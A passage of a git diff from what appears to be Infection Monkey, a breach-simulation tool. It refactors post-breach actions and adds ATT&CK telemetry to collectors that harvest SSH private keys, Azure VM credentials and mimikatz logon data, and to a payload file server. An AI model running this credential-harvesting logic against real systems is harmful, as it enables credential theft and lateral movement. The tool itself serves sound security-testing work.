%s & ' -DIR_CHANGE_LINUX = 'cd %s ; ' +PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." class PostBreach(object): @@ -19,65 +18,40 @@ class PostBreach(object): """ def __init__(self): self.os_is_linux = not is_windows_os() - self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + self.pba_list = self.config_to_pba_list() def execute(self): """ Executes all post breach actions. """ for pba in self.pba_list: - pba.run(self.os_is_linux) - LOG.info("Post breach actions executed") + try: + LOG.debug("Executing PBA: '{}'".format(pba.name)) + pba.run() + except Exception as e: + LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) + LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod - def config_to_pba_list(config): + def config_to_pba_list(): """ - Returns a list of PBA objects generated from config. - :param config: Monkey configuration + Passes config to each post breach action class and aggregates results into a list. :return: A list of PBA objects. """ pba_list = [] - pba_list.extend(PostBreach.get_custom_PBA(config)) - + pba_files = get_pba_files() + # Go through all of files in ./actions + for pba_file in pba_files: + # Import module from that file + module = importlib.import_module(PATH_TO_ACTIONS + pba_file) + # Get all classes in a module + pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] + # Get post breach action object from class + for pba_class in pba_classes: + LOG.debug("Checking if should run PBA {}".format(pba_class.__name__)) + if pba_class.should_run(pba_class.__name__): + pba = pba_class() + pba_list.append(pba) + LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__)) return pba_list - - @staticmethod - def get_custom_PBA(config): - """ - Creates post breach actions depending on users input into 'custom post breach' config section - :param config: monkey's configuration - :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) - """ - custom_list = [] - file_pba = FileExecution() - command_pba = PBA(name="Custom") - - if not is_windows_os(): - # Add linux commands to PBA's - if config.PBA_linux_filename: - if config.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd - else: - file_pba.add_default_command(is_linux=True) - elif config.custom_PBA_linux_cmd: - command_pba.linux_command = config.custom_PBA_linux_cmd - else: - # Add windows commands to PBA's - if config.PBA_windows_filename: - if config.custom_PBA_windows_cmd: - # Add change dir command, because user will try to access his file - file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ - config.custom_PBA_windows_cmd - else: - file_pba.add_default_command(is_linux=False) - elif config.custom_PBA_windows_cmd: - command_pba.windows_command = config.custom_PBA_windows_cmd - - # Add PBA's to list - if file_pba.linux_command or file_pba.windows_command: - custom_list.append(file_pba) - if command_pba.windows_command or command_pba.linux_command: - custom_list.append(command_pba) - - return custom_list diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py new file mode 100644 index 000000000..51a0fca4a --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py @@ -0,0 +1,6 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +# Import all actions as modules +hiddenimports = collect_submodules('infection_monkey.post_breach.actions') +# Add action files that we enumerate +datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True)) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 0b56da2f7..06bf449da 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -62,7 +62,7 @@ a. Build sambacry binaries yourself a.1. Install gcc-multilib if it's not installed sudo apt-get install gcc-multilib a.2. Build the binaries - cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner + cd [code location]/infection_monkey/exploit/sambacry_monkey_runner ./build.sh b. Download our pre-built sambacry binaries diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index bef031d2e..f30131267 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5689ca332..a9642aa2f 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index af1915e4d..60c509fc6 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -3,6 +3,9 @@ import pwd import os import glob +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) @@ -71,6 +74,7 @@ class SSHCollector(object): if private_key.find('ENCRYPTED') == -1: info['private_key'] = private_key LOG.info("Found private key in %s" % private) + T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send() else: continue except (IOError, OSError): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 3b1127e44..90626922d 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -5,6 +5,10 @@ import json import glob import subprocess +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem + __author__ = 'danielg' LOG = logging.getLogger(__name__) @@ -54,6 +58,8 @@ class AzureCollector(object): decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -92,6 +98,8 @@ class AzureCollector(object): # this is disgusting but the alternative is writing the file to disk... password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4ef764251..2951b7ebc 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -5,7 +5,9 @@ import socket import zipfile import infection_monkey.config - +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -49,8 +51,12 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True + status = ScanStatus.USED except Exception: LOG.exception("Error initializing mimikatz collector") + status = ScanStatus.SCANNED + T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send() + T1129Telem(status, UsageEnum.MIMIKATZ).send() def get_logon_info(self): """ @@ -67,7 +73,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): @@ -102,7 +108,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} - + def get_mimikatz_text(self): return self.mimikatz_text diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 7c3739a0f..b8a102831 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + LOG.info('Mimikatz info gathered successfully') else: LOG.info('No mimikatz info was gathered') diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 9f56c238e..6a4a0912b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -43,20 +44,17 @@ class WindowsSystemSingleton(_SystemSingleton): ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name)) last_error = ctypes.windll.kernel32.GetLastError() + if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - return False - if winerror.ERROR_ALREADY_EXISTS == last_error: LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) - return False self._mutex_handle = handle - LOG.debug("Global singleton mutex %r acquired", self._mutex_name) @@ -64,7 +62,6 @@ class WindowsSystemSingleton(_SystemSingleton): def unlock(self): assert self._mutex_handle is not None, "Singleton not locked" - ctypes.windll.kernel32.CloseHandle(self._mutex_handle) self._mutex_handle = None diff --git a/monkey/infection_monkey/telemetry/__init__.py b/monkey/infection_monkey/telemetry/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/telemetry/attack/__init__.py b/monkey/infection_monkey/telemetry/attack/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py new file mode 100644 index 000000000..893f4492a --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -0,0 +1,24 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "VakarisZ" + + +class AttackTelem(BaseTelem): + + def __init__(self, technique, status): + """ + Default ATT&CK telemetry constructor + :param technique: Technique ID. E.g. T111 + :param status: ScanStatus of technique + """ + super(AttackTelem, self).__init__() + self.technique = technique + self.status = status + + telem_category = 'attack' + + def get_data(self): + return { + 'status': self.status.value, + 'technique': self.technique + } diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py new file mode 100644 index 000000000..999d8622a --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1005Telem(AttackTelem): + def __init__(self, status, gathered_data_type, info=""): + """ + T1005 telemetry. + :param status: ScanStatus of technique + :param gathered_data_type: Type of data collected from local system + :param info: Additional info about data + """ + super(T1005Telem, self).__init__('T1005', status) + self.gathered_data_type = gathered_data_type + self.info = info + + def get_data(self): + data = super(T1005Telem, self).get_data() + data.update({ + 'gathered_data_type': self.gathered_data_type, + 'info': self.info + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py new file mode 100644 index 000000000..4ca9dc93c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1035Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1035 telemetry. + :param status: ScanStatus of technique + :param usage: Enum of UsageEnum type + """ + super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py new file mode 100644 index 000000000..efea27063 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.usage_telem import AttackTelem + + +class T1064Telem(AttackTelem): + def __init__(self, status, usage): + """ + T1064 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1064Telem, self).__init__('T1064', status) + self.usage = usage + + def get_data(self): + data = super(T1064Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py new file mode 100644 index 000000000..454391da8 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -0,0 +1,25 @@ +from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem + + +class T1105Telem(AttackTelem): + def __init__(self, status, src, dst, filename): + """ + T1105 telemetry. + :param status: ScanStatus of technique + :param src: IP of machine which uploaded the file + :param dst: IP of machine which downloaded the file + :param filename: Uploaded file's name + """ + super(T1105Telem, self).__init__('T1105', status) + self.filename = filename + self.src = src + self.dst = dst + + def get_data(self): + data = super(T1105Telem, self).get_data() + data.update({ + 'filename': self.filename, + 'src': self.src, + 'dst': self.dst + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py new file mode 100644 index 000000000..422313540 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1106Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1106 telemetry. + :param status: ScanStatus of technique + :param usage: Enum name of UsageEnum + """ + super(T1106Telem, self).__init__("T1106", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py new file mode 100644 index 000000000..ffb69b698 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1107Telem(AttackTelem): + def __init__(self, status, path): + """ + T1107 telemetry. + :param status: ScanStatus of technique + :param path: Path of deleted dir/file + """ + super(T1107Telem, self).__init__('T1107', status) + self.path = path + + def get_data(self): + data = super(T1107Telem, self).get_data() + data.update({ + 'path': self.path + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py new file mode 100644 index 000000000..4e7a12ce8 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1129Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1129 telemetry. + :param status: ScanStatus of technique + :param usage: Enum of UsageEnum type + """ + super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py new file mode 100644 index 000000000..387c3aa13 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + +__author__ = "itay.mizeretz" + + +class T1197Telem(VictimHostTelem): + def __init__(self, status, machine, usage): + """ + T1197 telemetry. + :param status: ScanStatus of technique + :param machine: VictimHost obj from model/host.py + :param usage: Usage string + """ + super(T1197Telem, self).__init__('T1197', status, machine) + self.usage = usage + + def get_data(self): + data = super(T1197Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py new file mode 100644 index 000000000..4708c230a --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -0,0 +1,20 @@ +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + + +class T1222Telem(VictimHostTelem): + def __init__(self, status, command, machine): + """ + T1222 telemetry. + :param status: ScanStatus of technique + :param command: command used to change permissions + :param machine: VictimHost type object + """ + super(T1222Telem, self).__init__('T1222', status, machine) + self.command = command + + def get_data(self): + data = super(T1222Telem, self).get_data() + data.update({ + 'command': self.command + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py new file mode 100644 index 000000000..4b47d8be3 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -0,0 +1,20 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class UsageTelem(AttackTelem): + + def __init__(self, technique, status, usage): + """ + :param technique: Id of technique + :param status: ScanStatus of technique + :param usage: Enum of UsageEnum type + """ + super(UsageTelem, self).__init__(technique, status) + self.usage = usage.name + + def get_data(self): + data = super(UsageTelem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py new file mode 100644 index 000000000..9e277926c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py @@ -0,0 +1,24 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + +__author__ = "VakarisZ" + + +class VictimHostTelem(AttackTelem): + + def __init__(self, technique, status, machine): + """ + ATT&CK telemetry. + When `send` is called, it will parse and send the VictimHost's (remote machine's) data. + :param technique: Technique ID. E.g. T111 + :param status: ScanStatus of technique + :param machine: VictimHost obj from model/host.py + """ + super(VictimHostTelem, self).__init__(technique, status) + self.machine = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr} + + def get_data(self): + data = super(VictimHostTelem, self).get_data() + data.update({ + 'machine': self.machine + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py new file mode 100644 index 000000000..2ccab7483 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py @@ -0,0 +1,29 @@ +from unittest import TestCase + +from common.utils.attack_utils import ScanStatus +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + + +class TestVictimHostTelem(TestCase): + def test_get_data(self): + machine = VictimHost('127.0.0.1') + status = ScanStatus.USED + technique = 'T1210' + + telem = VictimHostTelem(technique, status, machine) + + self.assertEqual(telem.telem_category, 'attack') + + expected_data = { + 'machine': { + 'domain_name': machine.domain_name, + 'ip_addr': machine.ip_addr + }, + 'status': status.value, + 'technique': technique + } + + actual_data = telem.get_data() + + self.assertEqual(actual_data, expected_data) diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py new file mode 100644 index 000000000..31d7332bd --- /dev/null +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -0,0 +1,42 @@ +import abc +import json +import logging + +from infection_monkey.control import ControlClient + +logger = logging.getLogger(__name__) + +__author__ = 'itay.mizeretz' + + +class BaseTelem(object): + """ + Abstract base class for telemetry. + """ + + __metaclass__ = abc.ABCMeta + + def __init__(self): + pass + + def send(self): + """ + Sends telemetry to island + """ + data = self.get_data() + logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data))) + ControlClient.send_telemetry(self.telem_category, data) + + @abc.abstractproperty + def telem_category(self): + """ + :return: Telemetry type + """ + pass + + @abc.abstractmethod + def get_data(self): + """ + :return: Data of telemetry (should be dict) + """ + pass diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py new file mode 100644 index 000000000..bb114434f --- /dev/null +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -0,0 +1,27 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class ExploitTelem(BaseTelem): + + def __init__(self, exploiter, result): + """ + Default exploit telemetry constructor + :param exploiter: The instance of exploiter used + :param result: The result from the 'exploit_host' method. + """ + super(ExploitTelem, self).__init__() + self.exploiter = exploiter + self.result = result + + telem_category = 'exploit' + + def get_data(self): + return { + 'result': self.result, + 'machine': self.exploiter.host.__dict__, + 'exploiter': self.exploiter.__class__.__name__, + 'info': self.exploiter.exploit_info, + 'attempts': self.exploiter.exploit_attempts + } diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py new file mode 100644 index 000000000..e5e443123 --- /dev/null +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -0,0 +1,40 @@ +import socket + +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class PostBreachTelem(BaseTelem): + + def __init__(self, pba, result): + """ + Default post breach telemetry constructor + :param pba: Post breach action which was used + :param result: Result of PBA + """ + super(PostBreachTelem, self).__init__() + self.pba = pba + self.result = result + self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() + + telem_category = 'post_breach' + + def get_data(self): + return { + 'command': self.pba.command, + 'result': self.result, + 'name': self.pba.name, + 'hostname': self.hostname, + 'ip': self.ip + } + + @staticmethod + def _get_hostname_and_ip(): + try: + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + except socket.error: + hostname = "Unknown" + ip = "Unknown" + return hostname, ip diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py new file mode 100644 index 000000000..b1c58ab1b --- /dev/null +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class ScanTelem(BaseTelem): + + def __init__(self, machine): + """ + Default scan telemetry constructor + :param machine: Scanned machine + """ + super(ScanTelem, self).__init__() + self.machine = machine + + telem_category = 'scan' + + def get_data(self): + return { + 'machine': self.machine.as_dict(), + 'service_count': len(self.machine.services) + } diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py new file mode 100644 index 000000000..3bd63d2f9 --- /dev/null +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class StateTelem(BaseTelem): + + def __init__(self, is_done): + """ + Default state telemetry constructor + :param is_done: Whether the state of monkey is done. + """ + super(StateTelem, self).__init__() + self.is_done = is_done + + telem_category = 'state' + + def get_data(self): + return {'done': self.is_done} diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py new file mode 100644 index 000000000..a4b1c0bd0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class SystemInfoTelem(BaseTelem): + + def __init__(self, system_info): + """ + Default system info telemetry constructor + :param system_info: System info returned from SystemInfoCollector.get_info() + """ + super(SystemInfoTelem, self).__init__() + self.system_info = system_info + + telem_category = 'system_info' + + def get_data(self): + return self.system_info diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py new file mode 100644 index 000000000..0782affb4 --- /dev/null +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -0,0 +1,26 @@ +import logging + +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + +LOG = logging.getLogger(__name__) + + +class TraceTelem(BaseTelem): + + def __init__(self, msg): + """ + Default trace telemetry constructor + :param msg: Trace message + """ + super(TraceTelem, self).__init__() + self.msg = msg + LOG.debug("Trace: %s" % msg) + + telem_category = 'trace' + + def get_data(self): + return { + 'msg': self.msg + } diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py new file mode 100644 index 000000000..64533a252 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.control import ControlClient +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class TunnelTelem(BaseTelem): + + def __init__(self): + """ + Default tunnel telemetry constructor + """ + super(TunnelTelem, self).__init__() + self.proxy = ControlClient.proxies.get('https') + + telem_category = 'tunnel' + + def get_data(self): + return {'proxy': self.proxy} diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py deleted file mode 100644 index 9d0275356..000000000 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ /dev/null @@ -1,41 +0,0 @@ -from infection_monkey.config import WormConfiguration, GUID -import requests -import json -from infection_monkey.control import ControlClient -import logging - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) - - -class AttackTelem(object): - - def __init__(self, technique, status, data=None): - """ - Default ATT&CK telemetry constructor - :param technique: Technique ID. E.g. T111 - :param status: int from ScanStatus Enum - :param data: Other data relevant to the attack technique - """ - self.technique = technique - self.result = status - self.data = {'status': status, 'id': GUID} - if data: - self.data.update(data) - - def send(self): - """ - Sends telemetry to island - """ - if not WormConfiguration.current_server: - return - try: - requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique), - data=json.dumps(self.data), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) - except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py deleted file mode 100644 index ecab5a648..000000000 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ /dev/null @@ -1,18 +0,0 @@ -from infection_monkey.transport.attack_telems.base_telem import AttackTelem - -__author__ = "VakarisZ" - - -class VictimHostTelem(AttackTelem): - - def __init__(self, technique, status, machine, data=None): - """ - ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data - :param technique: Technique ID. E.g. T111 - :param status: int from ScanStatus Enum - :param machine: VictimHost obj from model/host.py - :param data: Other data relevant to the attack technique - """ - super(VictimHostTelem, self).__init__(technique, status, data) - victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} - self.data.update({'machine': victim_host}) diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 00ced7198..8da49f637 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -6,10 +6,10 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit -from threading import Lock import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' @@ -49,7 +49,8 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): start_range += chunk if f.tell() == monkeyfs.getsize(self.filename): - self.report_download(self.client_address) + if self.report_download(self.client_address): + self.close_connection = 1 f.close() @@ -164,12 +165,22 @@ class HTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 + if not self.downloads < self.max_downloads: + return True + return False httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd.timeout = 0.5 # this is irrelevant? @@ -208,12 +219,21 @@ class LockedHTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 + if not self.downloads < self.max_downloads: + return True + return False httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) self.lock.release() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index d589ac98b..722dea50e 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -2,7 +2,6 @@ import logging import socket import struct import time -from difflib import get_close_matches from threading import Thread from infection_monkey.model import VictimHost @@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' @@ -148,9 +148,9 @@ class MonkeyTunnel(Thread): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if '?' == search: - ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips + ip_match = get_interface_to_target(address[0]) if ip_match: - answer = '%s:%d' % (ip_match[0], self.local_port) + answer = '%s:%d' % (ip_match, self.local_port) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) elif '+' == search: @@ -187,8 +187,8 @@ class MonkeyTunnel(Thread): if not self.local_port: return - ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips - host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) + ip_match = 